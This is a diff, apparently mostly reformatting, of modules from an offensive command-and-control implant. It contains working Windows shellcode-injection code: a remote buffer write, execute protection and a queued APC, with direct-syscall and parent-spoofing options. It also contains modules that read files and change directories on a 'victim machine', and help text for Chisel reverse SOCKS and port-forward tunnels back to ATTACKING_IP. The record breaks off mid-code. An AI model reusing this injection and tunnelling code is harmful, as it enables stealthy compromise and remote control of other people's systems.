PROCESS_INFORMATION piProcInfo; + ZeroMemory( &piProcInfo, sizeof(PROCESS_INFORMATION) ); + bool bSuccess = CreateProcessA(NULL, const_cast(processToSpawn.c_str()), NULL, NULL, TRUE, CREATE_SUSPENDED | EXTENDED_STARTUPINFO_PRESENT, NULL, NULL, &siStartInfo.StartupInfo, &piProcInfo); DeleteProcThreadAttributeList(attributeList); - HeapFree(GetProcessHeap(), 0, attributeList); + HeapFree(GetProcessHeap(), 0, attributeList); // If an error occurs, exit the application. if ( ! bSuccess ) - { - CloseHandle(hChildStdErrWr); - CloseHandle(hChildStdOutWr); - CloseHandle(hChildStdErrRd); - CloseHandle(hChildStdOutRd); - DuplicateHandle(hParentProcess, hParentStdOutWr, GetCurrentProcess(), NULL, 0, FALSE, DUPLICATE_CLOSE_SOURCE); - DuplicateHandle(hParentProcess, hParentStdErrWr, GetCurrentProcess(), NULL, 0, FALSE, DUPLICATE_CLOSE_SOURCE); - CloseHandle(hParentProcess); + { + CloseHandle(hChildStdErrWr); + CloseHandle(hChildStdOutWr); + CloseHandle(hChildStdErrRd); + CloseHandle(hChildStdOutRd); + DuplicateHandle(hParentProcess, hParentStdOutWr, GetCurrentProcess(), NULL, 0, FALSE, DUPLICATE_CLOSE_SOURCE); + DuplicateHandle(hParentProcess, hParentStdErrWr, GetCurrentProcess(), NULL, 0, FALSE, DUPLICATE_CLOSE_SOURCE); + CloseHandle(hParentProcess); - // result += "Error: Process failed to start." << GetLastError() << "\n"; - return -1; + // result += "Error: Process failed to start." << GetLastError() << "\n"; + return -1; } - PVOID remoteBuffer; - if(m_useSyscall) - { - // https://github.com/0xrob/XOR-Shellcode-QueueUserAPC-Syscall/blob/main/queueUserAPC-XOR/Source.cpp - SIZE_T sizeToAlloc = payload.size(); + PVOID remoteBuffer; + if(m_useSyscall) + { + // https://github.com/0xrob/XOR-Shellcode-QueueUserAPC-Syscall/blob/main/queueUserAPC-XOR/Source.cpp + SIZE_T sizeToAlloc = payload.size(); - remoteBuffer=NULL; - Sw3NtAllocateVirtualMemory_(piProcInfo.hProcess, &remoteBuffer, 0, &sizeToAlloc, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE); + remoteBuffer=NULL; + Sw3NtAllocateVirtualMemory_(piProcInfo.hProcess, &remoteBuffer, 0, &sizeToAlloc, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE); - SIZE_T NumberOfBytesWritten; - Sw3NtWriteVirtualMemory_(piProcInfo.hProcess, remoteBuffer, (PVOID)payload.data(), payload.size(), &NumberOfBytesWritten); - - ULONG oldAccess; - Sw3NtProtectVirtualMemory_(piProcInfo.hProcess, &remoteBuffer, &sizeToAlloc, PAGE_EXECUTE_READ, &oldAccess); + SIZE_T NumberOfBytesWritten; + Sw3NtWriteVirtualMemory_(piProcInfo.hProcess, remoteBuffer, (PVOID)payload.data(), payload.size(), &NumberOfBytesWritten); + + ULONG oldAccess; + Sw3NtProtectVirtualMemory_(piProcInfo.hProcess, &remoteBuffer, &sizeToAlloc, PAGE_EXECUTE_READ, &oldAccess); - Sw3NtQueueApcThread_(piProcInfo.hThread, (PIO_APC_ROUTINE)remoteBuffer, remoteBuffer, (PIO_STATUS_BLOCK)NULL, NULL); - Sw3NtResumeThread_(piProcInfo.hThread, (PULONG)NULL); - } - else - { - remoteBuffer = VirtualAllocEx(piProcInfo.hProcess, NULL, payload.size(), (MEM_RESERVE | MEM_COMMIT), PAGE_READWRITE); + Sw3NtQueueApcThread_(piProcInfo.hThread, (PIO_APC_ROUTINE)remoteBuffer, remoteBuffer, (PIO_STATUS_BLOCK)NULL, NULL); + Sw3NtResumeThread_(piProcInfo.hThread, (PULONG)NULL); + } + else + { + remoteBuffer = VirtualAllocEx(piProcInfo.hProcess, NULL, payload.size(), (MEM_RESERVE | MEM_COMMIT), PAGE_READWRITE); - WriteProcessMemory(piProcInfo.hProcess, remoteBuffer, payload.data(), payload.size(), NULL); + WriteProcessMemory(piProcInfo.hProcess, remoteBuffer, payload.data(), payload.size(), NULL); - DWORD oldprotect = 0; - VirtualProtectEx(piProcInfo.hProcess, remoteBuffer, payload.size(), PAGE_EXECUTE_READ, &oldprotect); + DWORD oldprotect = 0; + VirtualProtectEx(piProcInfo.hProcess, remoteBuffer, payload.size(), PAGE_EXECUTE_READ, &oldprotect); - PTHREAD_START_ROUTINE apcRoutine = (PTHREAD_START_ROUTINE)remoteBuffer; - QueueUserAPC((PAPCFUNC)apcRoutine, piProcInfo.hThread, NULL); - ResumeThread(piProcInfo.hThread); - } + PTHREAD_START_ROUTINE apcRoutine = (PTHREAD_START_ROUTINE)remoteBuffer; + QueueUserAPC((PAPCFUNC)apcRoutine, piProcInfo.hThread, NULL); + ResumeThread(piProcInfo.hThread); + } - m_isProcessRuning=true; - m_processHandle = piProcInfo.hProcess; - std::thread thread([this] { killProcess(); }); + m_isProcessRuning=true; + m_processHandle = piProcInfo.hProcess; + std::thread thread([this] { killProcess(); }); - DWORD dwRead; + DWORD dwRead; CHAR chBuf[BUFSIZE]; bSuccess = FALSE; std::string out = ""; - std::string err = ""; + std::string err = ""; for (;;) - { - DWORD bytesAvailableOut = 0; - if (PeekNamedPipe(hChildStdOutRd, NULL, 0, NULL, &bytesAvailableOut, NULL) && bytesAvailableOut > 0) - { - bSuccess=ReadFile( hChildStdOutRd, chBuf, BUFSIZE, &dwRead, NULL); - if( ! bSuccess || dwRead == 0 ) - break; + { + DWORD bytesAvailableOut = 0; + if (PeekNamedPipe(hChildStdOutRd, NULL, 0, NULL, &bytesAvailableOut, NULL) && bytesAvailableOut > 0) + { + bSuccess=ReadFile( hChildStdOutRd, chBuf, BUFSIZE, &dwRead, NULL); + if( ! bSuccess || dwRead == 0 ) + break; - std::string s(chBuf, dwRead); - out += s; - } + std::string s(chBuf, dwRead); + out += s; + } - DWORD bytesAvailableErr = 0; - if (PeekNamedPipe(hChildStdErrRd, NULL, 0, NULL, &bytesAvailableErr, NULL) && bytesAvailableErr > 0) - { - bSuccess=ReadFile( hChildStdErrRd, chBuf, BUFSIZE, &dwRead, NULL); - if( ! bSuccess || dwRead == 0 ) - break; + DWORD bytesAvailableErr = 0; + if (PeekNamedPipe(hChildStdErrRd, NULL, 0, NULL, &bytesAvailableErr, NULL) && bytesAvailableErr > 0) + { + bSuccess=ReadFile( hChildStdErrRd, chBuf, BUFSIZE, &dwRead, NULL); + if( ! bSuccess || dwRead == 0 ) + break; - std::string s(chBuf, dwRead); - err += s; - } - - DWORD exitCode; - if (GetExitCodeProcess(piProcInfo.hProcess, &exitCode) && exitCode != STILL_ACTIVE && bytesAvailableOut==0 && bytesAvailableErr==0) - break; + std::string s(chBuf, dwRead); + err += s; + } + + DWORD exitCode; + if (GetExitCodeProcess(piProcInfo.hProcess, &exitCode) && exitCode != STILL_ACTIVE && bytesAvailableOut==0 && bytesAvailableErr==0) + break; - std::this_thread::sleep_for(std::chrono::milliseconds(5)); + std::this_thread::sleep_for(std::chrono::milliseconds(5)); } - m_isProcessRuning = false; + m_isProcessRuning = false; - CloseHandle(hChildStdErrWr); + CloseHandle(hChildStdErrWr); CloseHandle(hChildStdOutWr); - DuplicateHandle(hParentProcess, hParentStdOutWr, GetCurrentProcess(), NULL, 0, FALSE, DUPLICATE_CLOSE_SOURCE); - DuplicateHandle(hParentProcess, hParentStdErrWr, GetCurrentProcess(), NULL, 0, FALSE, DUPLICATE_CLOSE_SOURCE); - CloseHandle(hChildStdErrRd); + DuplicateHandle(hParentProcess, hParentStdOutWr, GetCurrentProcess(), NULL, 0, FALSE, DUPLICATE_CLOSE_SOURCE); + DuplicateHandle(hParentProcess, hParentStdErrWr, GetCurrentProcess(), NULL, 0, FALSE, DUPLICATE_CLOSE_SOURCE); + CloseHandle(hChildStdErrRd); CloseHandle(hChildStdOutRd); - CloseHandle(hParentProcess); + CloseHandle(hParentProcess); - thread.join(); + thread.join(); - result += "Stdout:\n"; - result += out; - result += "\n"; - if(!err.empty()) - { - result += "Stderr:\n"; - result += err; - result += "\n"; - } + result += "Stdout:\n"; + result += out; + result += "\n"; + if(!err.empty()) + { + result += "Stderr:\n"; + result += err; + result += "\n"; + } - CloseHandle(piProcInfo.hProcess); - CloseHandle(piProcInfo.hThread); + CloseHandle(piProcInfo.hProcess); + CloseHandle(piProcInfo.hThread); - return 0; + return 0; } int AssemblyExec::createNewProcess(const std::string& payload, const std::string& processToSpawn, std::string& result) { - HANDLE hChildStdOutRd = NULL; - HANDLE hChildStdOutWr = NULL; - HANDLE hChildStdErrRd = NULL; - HANDLE hChildStdErrWr = NULL; + HANDLE hChildStdOutRd = NULL; + HANDLE hChildStdOutWr = NULL; + HANDLE hChildStdErrRd = NULL; + HANDLE hChildStdErrWr = NULL; - SECURITY_ATTRIBUTES sa; + SECURITY_ATTRIBUTES sa; // Set the bInheritHandle flag so pipe handles are inherited. sa.nLength = sizeof(SECURITY_ATTRIBUTES); sa.bInheritHandle = TRUE; @@ -782,7 +782,7 @@ int AssemblyExec::createNewProcess(const std::string& payload, const std::string SetHandleInformation(hChildStdErrRd, HANDLE_FLAG_INHERIT, 0); CreatePipe(&hChildStdOutRd, &hChildStdOutWr, &sa, 0); SetHandleInformation(hChildStdOutRd, HANDLE_FLAG_INHERIT, 0); - + // Create the child process. PROCESS_INFORMATION piProcInfo; STARTUPINFO siStartInfo; @@ -800,131 +800,131 @@ int AssemblyExec::createNewProcess(const std::string& payload, const std::string siStartInfo.dwFlags |= STARTF_USESTDHANDLES; // Create the child process. - bSuccess = CreateProcess(NULL, const_cast(processToSpawn.c_str()), NULL, NULL, TRUE, CREATE_SUSPENDED, NULL, NULL, &siStartInfo, &piProcInfo); + bSuccess = CreateProcess(NULL, const_cast(processToSpawn.c_str()), NULL, NULL, TRUE, CREATE_SUSPENDED, NULL, NULL, &siStartInfo, &piProcInfo); CloseHandle(hChildStdErrWr); CloseHandle(hChildStdOutWr); // If an error occurs, exit the application. if ( ! bSuccess ) - { - result += "Error: Process failed to start.\n"; - return -1; + { + result += "Error: Process failed to start.\n"; + return -1; } - PVOID remoteBuffer; - if(m_useSyscall) - { - // https://github.com/0xrob/XOR-Shellcode-QueueUserAPC-Syscall/blob/main/queueUserAPC-XOR/Source.cpp - SIZE_T sizeToAlloc = payload.size(); + PVOID remoteBuffer; + if(m_useSyscall) + { + // https://github.com/0xrob/XOR-Shellcode-QueueUserAPC-Syscall/blob/main/queueUserAPC-XOR/Source.cpp + SIZE_T sizeToAlloc = payload.size(); - remoteBuffer=NULL; - Sw3NtAllocateVirtualMemory_(piProcInfo.hProcess, &remoteBuffer, 0, &sizeToAlloc, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE); + remoteBuffer=NULL; + Sw3NtAllocateVirtualMemory_(piProcInfo.hProcess, &remoteBuffer, 0, &sizeToAlloc, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE); - SIZE_T NumberOfBytesWritten; - Sw3NtWriteVirtualMemory_(piProcInfo.hProcess, remoteBuffer, (PVOID)payload.data(), payload.size(), &NumberOfBytesWritten); - - ULONG oldAccess; - Sw3NtProtectVirtualMemory_(piProcInfo.hProcess, &remoteBuffer, &sizeToAlloc, PAGE_EXECUTE_READ, &oldAccess); + SIZE_T NumberOfBytesWritten; + Sw3NtWriteVirtualMemory_(piProcInfo.hProcess, remoteBuffer, (PVOID)payload.data(), payload.size(), &NumberOfBytesWritten); + + ULONG oldAccess; + Sw3NtProtectVirtualMemory_(piProcInfo.hProcess, &remoteBuffer, &sizeToAlloc, PAGE_EXECUTE_READ, &oldAccess); - Sw3NtQueueApcThread_(piProcInfo.hThread, (PIO_APC_ROUTINE)remoteBuffer, remoteBuffer, (PIO_STATUS_BLOCK)NULL, NULL); - Sw3NtResumeThread_(piProcInfo.hThread, (PULONG)NULL); - } - else - { - remoteBuffer = VirtualAllocEx(piProcInfo.hProcess, NULL, payload.size(), (MEM_RESERVE | MEM_COMMIT), PAGE_READWRITE); + Sw3NtQueueApcThread_(piProcInfo.hThread, (PIO_APC_ROUTINE)remoteBuffer, remoteBuffer, (PIO_STATUS_BLOCK)NULL, NULL); + Sw3NtResumeThread_(piProcInfo.hThread, (PULONG)NULL); + } + else + { + remoteBuffer = VirtualAllocEx(piProcInfo.hProcess, NULL, payload.size(), (MEM_RESERVE | MEM_COMMIT), PAGE_READWRITE); - WriteProcessMemory(piProcInfo.hProcess, remoteBuffer, payload.data(), payload.size(), NULL); + WriteProcessMemory(piProcInfo.hProcess, remoteBuffer, payload.data(), payload.size(), NULL); - DWORD oldprotect = 0; - VirtualProtectEx(piProcInfo.hProcess, remoteBuffer, payload.size(), PAGE_EXECUTE_READ, &oldprotect); + DWORD oldprotect = 0; + VirtualProtectEx(piProcInfo.hProcess, remoteBuffer, payload.size(), PAGE_EXECUTE_READ, &oldprotect); - PTHREAD_START_ROUTINE apcRoutine = (PTHREAD_START_ROUTINE)remoteBuffer; - QueueUserAPC((PAPCFUNC)apcRoutine, piProcInfo.hThread, NULL); - ResumeThread(piProcInfo.hThread); - } + PTHREAD_START_ROUTINE apcRoutine = (PTHREAD_START_ROUTINE)remoteBuffer; + QueueUserAPC((PAPCFUNC)apcRoutine, piProcInfo.hThread, NULL); + ResumeThread(piProcInfo.hThread); + } - m_isProcessRuning=true; - m_processHandle = piProcInfo.hProcess; - std::thread thread([this] { killProcess(); }); + m_isProcessRuning=true; + m_processHandle = piProcInfo.hProcess; + std::thread thread([this] { killProcess(); }); - DWORD dwRead; + DWORD dwRead; CHAR chBuf[BUFSIZE]; bSuccess = FALSE; std::string out = ""; - std::string err = ""; + std::string err = ""; for (;;) - { - DWORD bytesAvailableOut = 0; - if (PeekNamedPipe(hChildStdOutRd, NULL, 0, NULL, &bytesAvailableOut, NULL) && bytesAvailableOut > 0) - { - bSuccess=ReadFile( hChildStdOutRd, chBuf, BUFSIZE, &dwRead, NULL); - if( ! bSuccess || dwRead == 0 ) - break; + { + DWORD bytesAvailableOut = 0; + if (PeekNamedPipe(hChildStdOutRd, NULL, 0, NULL, &bytesAvailableOut, NULL) && bytesAvailableOut > 0) + { + bSuccess=ReadFile( hChildStdOutRd, chBuf, BUFSIZE, &dwRead, NULL); + if( ! bSuccess || dwRead == 0 ) + break; - std::string s(chBuf, dwRead); - out += s; - } + std::string s(chBuf, dwRead); + out += s; + } - DWORD bytesAvailableErr = 0; - if (PeekNamedPipe(hChildStdErrRd, NULL, 0, NULL, &bytesAvailableErr, NULL) && bytesAvailableErr > 0) - { - bSuccess=ReadFile( hChildStdErrRd, chBuf, BUFSIZE, &dwRead, NULL); - if( ! bSuccess || dwRead == 0 ) - break; + DWORD bytesAvailableErr = 0; + if (PeekNamedPipe(hChildStdErrRd, NULL, 0, NULL, &bytesAvailableErr, NULL) && bytesAvailableErr > 0) + { + bSuccess=ReadFile( hChildStdErrRd, chBuf, BUFSIZE, &dwRead, NULL); + if( ! bSuccess || dwRead == 0 ) + break; - std::string s(chBuf, dwRead); - err += s; - } + std::string s(chBuf, dwRead); + err += s; + } - DWORD exitCode; - if (GetExitCodeProcess(piProcInfo.hProcess, &exitCode) && exitCode != STILL_ACTIVE && bytesAvailableOut==0 && bytesAvailableErr==0) - break; + DWORD exitCode; + if (GetExitCodeProcess(piProcInfo.hProcess, &exitCode) && exitCode != STILL_ACTIVE && bytesAvailableOut==0 && bytesAvailableErr==0) + break; - std::this_thread::sleep_for(std::chrono::milliseconds(5)); + std::this_thread::sleep_for(std::chrono::milliseconds(5)); } - m_isProcessRuning = false; - CloseHandle(hChildStdErrRd); + m_isProcessRuning = false; + CloseHandle(hChildStdErrRd); CloseHandle(hChildStdOutRd); - - thread.join(); + + thread.join(); - result += "Stdout:\n"; - result += out; - result += "\n"; - if(!err.empty()) - { - result += "Stderr:\n"; - result += err; - result += "\n"; - } + result += "Stdout:\n"; + result += out; + result += "\n"; + if(!err.empty()) + { + result += "Stderr:\n"; + result += err; + result += "\n"; + } - CloseHandle(piProcInfo.hProcess); - CloseHandle(piProcInfo.hThread); + CloseHandle(piProcInfo.hProcess); + CloseHandle(piProcInfo.hThread); - return 0; + return 0; } int AssemblyExec::killProcess() { - std::chrono::steady_clock::time_point begin = std::chrono::steady_clock::now(); - while (1) - { - if (!m_isProcessRuning) - break; + std::chrono::steady_clock::time_point begin = std::chrono::steady_clock::now(); + while (1) + { + if (!m_isProcessRuning) + break; - std::chrono::steady_clock::time_point now = std::chrono::steady_clock::now(); - auto elapse = std::chrono::duration_cast(now - begin).count(); - if(elapse>=maxDurationShellCode) - { - TerminateProcess(m_processHandle, 0); - break; - } - std::this_thread::sleep_for(std::chrono::milliseconds(100)); - } + std::chrono::steady_clock::time_point now = std::chrono::steady_clock::now(); + auto elapse = std::chrono::duration_cast(now - begin).count(); + if(elapse>=maxDurationShellCode) + { + TerminateProcess(m_processHandle, 0); + break; + } + std::this_thread::sleep_for(std::chrono::milliseconds(100)); + } - return 0; + return 0; } #endif \ No newline at end of file diff --git a/modules/AssemblyExec/AssemblyExec.hpp b/modules/AssemblyExec/AssemblyExec.hpp index 59fb213..20ba429 100644 --- a/modules/AssemblyExec/AssemblyExec.hpp +++ b/modules/AssemblyExec/AssemblyExec.hpp @@ -3,7 +3,7 @@ #include "ModuleCmd.hpp" #ifdef _WIN32 - #include + #include #endif @@ -11,62 +11,62 @@ class AssemblyExec : public ModuleCmd { public: - AssemblyExec(); - ~AssemblyExec(); + AssemblyExec(); + ~AssemblyExec(); - std::string getInfo(); + std::string getInfo(); - int init(std::vector& splitedCmd, C2Message& c2Message); - int initConfig(const nlohmann::json &config); - int process(C2Message& c2Message, C2Message& c2RetMessage); - int osCompatibility() - { + int init(std::vector& splitedCmd, C2Message& c2Message); + int initConfig(const nlohmann::json &config); + int process(C2Message& c2Message, C2Message& c2RetMessage); + int osCompatibility() + { return OS_WINDOWS; } - int setProcessToSpawn(const std::string& processToSpawn) - { - m_processToSpawn = processToSpawn; - return 0; - } - int setUseSyscall(bool useSyscall) - { - m_useSyscall = useSyscall; - return 0; - } - int setModeProcess(bool isModeProcess) - { - m_isModeProcess = isModeProcess; - return 0; - } - int setModeSpoofParent(bool isSpoofParent) - { - m_isSpoofParent = isSpoofParent; - return 0; - } - int setSpoofedParent(const std::string& spoofedParent) - { - m_spoofedParent = spoofedParent; - return 0; - } + int setProcessToSpawn(const std::string& processToSpawn) + { + m_processToSpawn = processToSpawn; + return 0; + } + int setUseSyscall(bool useSyscall) + { + m_useSyscall = useSyscall; + return 0; + } + int setModeProcess(bool isModeProcess) + { + m_isModeProcess = isModeProcess; + return 0; + } + int setModeSpoofParent(bool isSpoofParent) + { + m_isSpoofParent = isSpoofParent; + return 0; + } + int setSpoofedParent(const std::string& spoofedParent) + { + m_spoofedParent = spoofedParent; + return 0; + } private: - std::string m_processToSpawn; - bool m_useSyscall; - bool m_isModeProcess; - bool m_isSpoofParent; - std::string m_spoofedParent; + std::string m_processToSpawn; + bool m_useSyscall; + bool m_isModeProcess; + bool m_isSpoofParent; + std::string m_spoofedParent; #ifdef __linux__ - int whateverLinux(const std::string& payload, std::string& result); + int whateverLinux(const std::string& payload, std::string& result); #elif _WIN32 - int createNewProcess(const std::string& payload, const std::string& processToSpawn, std::string& result); - int createNewProcessWithSpoofedParent(const std::string& payload, const std::string& processToSpawn, const std::string& spoofedParent, std::string& result); - int createNewThread(const std::string& payload, std::string& result); + int createNewProcess(const std::string& payload, const std::string& processToSpawn, std::string& result); + int createNewProcessWithSpoofedParent(const std::string& payload, const std::string& processToSpawn, const std::string& spoofedParent, std::string& result); + int createNewThread(const std::string& payload, std::string& result); - bool m_isProcessRuning; - HANDLE m_processHandle; - int killProcess(); + bool m_isProcessRuning; + HANDLE m_processHandle; + int killProcess(); #endif }; diff --git a/modules/Cat/Cat.cpp b/modules/Cat/Cat.cpp index d7ccfe1..3674473 100644 --- a/modules/Cat/Cat.cpp +++ b/modules/Cat/Cat.cpp @@ -29,9 +29,9 @@ __attribute__((visibility("default"))) Cat* CatConstructor() Cat::Cat() #ifdef BUILD_TEAMSERVER - : ModuleCmd(std::string(moduleName), moduleHash) + : ModuleCmd(std::string(moduleName), moduleHash) #else - : ModuleCmd("", moduleHash) + : ModuleCmd("", moduleHash) #endif { } @@ -42,40 +42,40 @@ Cat::~Cat() std::string Cat::getInfo() { - std::string info; + std::string info; #ifdef BUILD_TEAMSERVER - info += "Cat Module:\n"; - info += "Read and display the contents of a file from the victim machine.\n"; - info += "Useful for quickly inspecting text files or verifying file contents.\n"; - info += "\nExample:\n"; - info += "- cat c:\\temp\\toto.txt\n"; + info += "Cat Module:\n"; + info += "Read and display the contents of a file from the victim machine.\n"; + info += "Useful for quickly inspecting text files or verifying file contents.\n"; + info += "\nExample:\n"; + info += "- cat c:\\temp\\toto.txt\n"; #endif - return info; + return info; } int Cat::init(std::vector &splitedCmd, C2Message &c2Message) { #if defined(BUILD_TEAMSERVER) || defined(BUILD_TESTS) - if (splitedCmd.size() >= 2 ) - { - string inputFile; - for (int idx = 1; idx < splitedCmd.size(); idx++) - { - if(!inputFile.empty()) - inputFile+=" "; - inputFile+=splitedCmd[idx]; - } + if (splitedCmd.size() >= 2 ) + { + string inputFile; + for (int idx = 1; idx < splitedCmd.size(); idx++) + { + if(!inputFile.empty()) + inputFile+=" "; + inputFile+=splitedCmd[idx]; + } - c2Message.set_instruction(splitedCmd[0]); - c2Message.set_inputfile(inputFile); - } - else - { - c2Message.set_returnvalue(getInfo()); - return -1; - } + c2Message.set_instruction(splitedCmd[0]); + c2Message.set_inputfile(inputFile); + } + else + { + c2Message.set_returnvalue(getInfo()); + return -1; + } #endif - return 0; + return 0; } @@ -83,35 +83,35 @@ int Cat::init(std::vector &splitedCmd, C2Message &c2Message) int Cat::process(C2Message &c2Message, C2Message &c2RetMessage) { - c2RetMessage.set_instruction(c2RetMessage.instruction()); - c2RetMessage.set_cmd(c2Message.inputfile()); - c2RetMessage.set_inputfile(c2Message.inputfile()); + c2RetMessage.set_instruction(c2RetMessage.instruction()); + c2RetMessage.set_cmd(c2Message.inputfile()); + c2RetMessage.set_inputfile(c2Message.inputfile()); - std::string inputFile = c2Message.inputfile(); - std::ifstream input(inputFile, std::ios::binary); - if( !input.fail() ) - { - std::string buffer(std::istreambuf_iterator(input), {}); - c2RetMessage.set_returnvalue(buffer); - } - else - { - c2RetMessage.set_errorCode(ERROR_OPEN_FILE); - } + std::string inputFile = c2Message.inputfile(); + std::ifstream input(inputFile, std::ios::binary); + if( !input.fail() ) + { + std::string buffer(std::istreambuf_iterator(input), {}); + c2RetMessage.set_returnvalue(buffer); + } + else + { + c2RetMessage.set_errorCode(ERROR_OPEN_FILE); + } - return 0; + return 0; } int Cat::errorCodeToMsg(const C2Message &c2RetMessage, std::string& errorMsg) { #ifdef BUILD_TEAMSERVER - int errorCode = c2RetMessage.errorCode(); - if(errorCode>0) - { - if(errorCode==ERROR_OPEN_FILE) - errorMsg = "Failed: Couldn't open file"; - } + int errorCode = c2RetMessage.errorCode(); + if(errorCode>0) + { + if(errorCode==ERROR_OPEN_FILE) + errorMsg = "Failed: Couldn't open file"; + } #endif - return 0; + return 0; } diff --git a/modules/Cat/Cat.hpp b/modules/Cat/Cat.hpp index c458e51..26e9b78 100644 --- a/modules/Cat/Cat.hpp +++ b/modules/Cat/Cat.hpp @@ -7,16 +7,16 @@ class Cat : public ModuleCmd { public: - Cat(); - ~Cat(); + Cat(); + ~Cat(); - std::string getInfo(); + std::string getInfo(); - int init(std::vector& splitedCmd, C2Message& c2Message); - int process(C2Message& c2Message, C2Message& c2RetMessage); - int errorCodeToMsg(const C2Message &c2RetMessage, std::string& errorMsg); - int osCompatibility() - { + int init(std::vector& splitedCmd, C2Message& c2Message); + int process(C2Message& c2Message, C2Message& c2RetMessage); + int errorCodeToMsg(const C2Message &c2RetMessage, std::string& errorMsg); + int osCompatibility() + { return OS_LINUX | OS_WINDOWS; } diff --git a/modules/ChangeDirectory/ChangeDirectory.cpp b/modules/ChangeDirectory/ChangeDirectory.cpp index f870e8c..9698d06 100644 --- a/modules/ChangeDirectory/ChangeDirectory.cpp +++ b/modules/ChangeDirectory/ChangeDirectory.cpp @@ -32,9 +32,9 @@ __attribute__((visibility("default"))) ChangeDirectory* ChangeDirectoryConstruct ChangeDirectory::ChangeDirectory() #ifdef BUILD_TEAMSERVER - : ModuleCmd(std::string(moduleName), moduleHash) + : ModuleCmd(std::string(moduleName), moduleHash) #else - : ModuleCmd("", moduleHash) + : ModuleCmd("", moduleHash) #endif { } @@ -45,16 +45,16 @@ ChangeDirectory::~ChangeDirectory() std::string ChangeDirectory::getInfo() { - std::string info; + std::string info; #ifdef BUILD_TEAMSERVER - info += "ChangeDirectory Module:\n"; - info += "Change the current working directory on the victim machine.\n"; - info += "This affects the context for relative file paths in subsequent commands.\n"; - info += "\nExample:\n"; - info += "- cd /tmp\n"; - info += "- cd C:\\Users\\Public\n"; + info += "ChangeDirectory Module:\n"; + info += "Change the current working directory on the victim machine.\n"; + info += "This affects the context for relative file paths in subsequent commands.\n"; + info += "\nExample:\n"; + info += "- cd /tmp\n"; + info += "- cd C:\\Users\\Public\n"; #endif - return info; + return info; } int ChangeDirectory::init(std::vector &splitedCmd, C2Message &c2Message) @@ -68,29 +68,29 @@ int ChangeDirectory::init(std::vector &splitedCmd, C2Message &c2Mes path+=splitedCmd[idx]; } - c2Message.set_instruction(splitedCmd[0]); - c2Message.set_cmd(path); + c2Message.set_instruction(splitedCmd[0]); + c2Message.set_cmd(path); #endif - return 0; + return 0; } int ChangeDirectory::process(C2Message &c2Message, C2Message &c2RetMessage) { - string path = c2Message.cmd(); - std::string outCmd = changeDirectory(path); + string path = c2Message.cmd(); + std::string outCmd = changeDirectory(path); - c2RetMessage.set_instruction(c2RetMessage.instruction()); - c2RetMessage.set_cmd(path); - c2RetMessage.set_returnvalue(outCmd); + c2RetMessage.set_instruction(c2RetMessage.instruction()); + c2RetMessage.set_cmd(path); + c2RetMessage.set_returnvalue(outCmd); - return 0; + return 0; } std::string ChangeDirectory::changeDirectory(const std::string& path) { - std::error_code ec; + std::error_code ec; try { if(!path.empty()) @@ -102,5 +102,5 @@ std::string ChangeDirectory::changeDirectory(const std::string& path) std::string result; result=std::filesystem::current_path(ec).string(); - return result; + return result; } \ No newline at end of file diff --git a/modules/ChangeDirectory/ChangeDirectory.hpp b/modules/ChangeDirectory/ChangeDirectory.hpp index 1939d82..66c3611 100644 --- a/modules/ChangeDirectory/ChangeDirectory.hpp +++ b/modules/ChangeDirectory/ChangeDirectory.hpp @@ -7,20 +7,20 @@ class ChangeDirectory : public ModuleCmd { public: - ChangeDirectory(); - ~ChangeDirectory(); + ChangeDirectory(); + ~ChangeDirectory(); - std::string getInfo(); + std::string getInfo(); - int init(std::vector& splitedCmd, C2Message& c2Message); - int process(C2Message& c2Message, C2Message& c2RetMessage); - int osCompatibility() - { + int init(std::vector& splitedCmd, C2Message& c2Message); + int process(C2Message& c2Message, C2Message& c2RetMessage); + int osCompatibility() + { return OS_LINUX | OS_WINDOWS; } private: - std::string changeDirectory(const std::string& path); + std::string changeDirectory(const std::string& path); }; diff --git a/modules/Chisel/Chisel.cpp b/modules/Chisel/Chisel.cpp index a4eeb45..b158a51 100644 --- a/modules/Chisel/Chisel.cpp +++ b/modules/Chisel/Chisel.cpp @@ -30,9 +30,9 @@ __attribute__((visibility("default"))) Chisel* ChiselConstructor() Chisel::Chisel() #ifdef BUILD_TEAMSERVER - : ModuleCmd(std::string(moduleName), moduleHash) + : ModuleCmd(std::string(moduleName), moduleHash) #else - : ModuleCmd("", moduleHash) + : ModuleCmd("", moduleHash) #endif { } @@ -43,230 +43,230 @@ Chisel::~Chisel() std::string Chisel::getInfo() { - std::string info; + std::string info; #ifdef BUILD_TEAMSERVER - info += "Chisel:\n"; - info += "Launch chisel in a thread on the remote server.\n"; - info += "No output is provided.\n"; - info += "exemple:\n"; - info += "- chisel status\n"; - info += "- chisel stop pid\n"; - info += "Reverse Socks Proxy:\n"; - info += "- chisel /tools/chisel.exe client ATTACKING_IP:LISTEN_PORT R:socks\n"; - info += "- On the attacking machine: chisel server -p LISTEN_PORT --reverse\n"; - info += "Remote Port Forward:\n"; - info += "- chisel /tools/chisel.exe client ATTACKING_IP:LISTEN_PORT R:LOCAL_PORT:TARGET_IP:REMOT_PORT\n"; - info += "- On the attacking machine: chisel server -p LISTEN_PORT --reverse\n"; + info += "Chisel:\n"; + info += "Launch chisel in a thread on the remote server.\n"; + info += "No output is provided.\n"; + info += "exemple:\n"; + info += "- chisel status\n"; + info += "- chisel stop pid\n"; + info += "Reverse Socks Proxy:\n"; + info += "- chisel /tools/chisel.exe client ATTACKING_IP:LISTEN_PORT R:socks\n"; + info += "- On the attacking machine: chisel server -p LISTEN_PORT --reverse\n"; + info += "Remote Port Forward:\n"; + info += "- chisel /tools/chisel.exe client ATTACKING_IP:LISTEN_PORT R:LOCAL_PORT:TARGET_IP:REMOT_PORT\n"; + info += "- On the attacking machine: chisel server -p LISTEN_PORT --reverse\n"; #endif - return info; + return info; } int Chisel::init(std::vector &splitedCmd, C2Message &c2Message) { #if defined(BUILD_TEAMSERVER) || defined(BUILD_TESTS) - if (splitedCmd.size() == 2) - { - if(splitedCmd[1]=="status") - { - std::string msg; - for(int i=0; i inst; - inst.first = pid; - inst.second = c2RetMessage.cmd(); - m_instances.push_back(inst); - } - } + int pid = c2RetMessage.pid(); + if(pid!=-1) + { + if(c2RetMessage.cmd()=="stop") + { + auto it = m_instances.begin(); + while(it != m_instances.end()) + { + std::cout << (*it).first << std::endl; + if((*it).first == pid) + { + it = m_instances.erase(it); + } + else + { + it++; + } + } + } + else + { + std::pair inst; + inst.first = pid; + inst.second = 